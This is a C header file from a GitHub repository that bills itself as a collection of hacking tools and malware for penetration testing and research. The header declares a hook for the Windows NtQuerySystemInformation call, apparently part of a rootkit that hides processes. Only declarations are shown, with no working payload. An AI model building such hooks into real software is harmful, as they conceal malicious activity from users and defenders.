Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

732 B
Raw Blame
#ifndef NTQUERYSYSTEMINFORMATION_H
# define NTQUERYSYSTEMINFORMATION_H

# include "windefs.h"

typedef NTSTATUS(WINAPI *TD_NtQuerySystemInformation)(
    __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout    PVOID SystemInformation,
    __in       ULONG SystemInformationLength,
    __out_opt  PULONG ReturnLength
    );

NTSTATUS WINAPI NewNtQuerySystemInformation(
	__in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
	__inout    PVOID                    SystemInformation,
	__in       ULONG                    SystemInformationLength,
	__out_opt  PULONG                   ReturnLength
	);

TD_NtQuerySystemInformation GetNtQuery();
VOID SetNtQuery(TD_NtQuerySystemInformation p_HookNtQuery);

#endif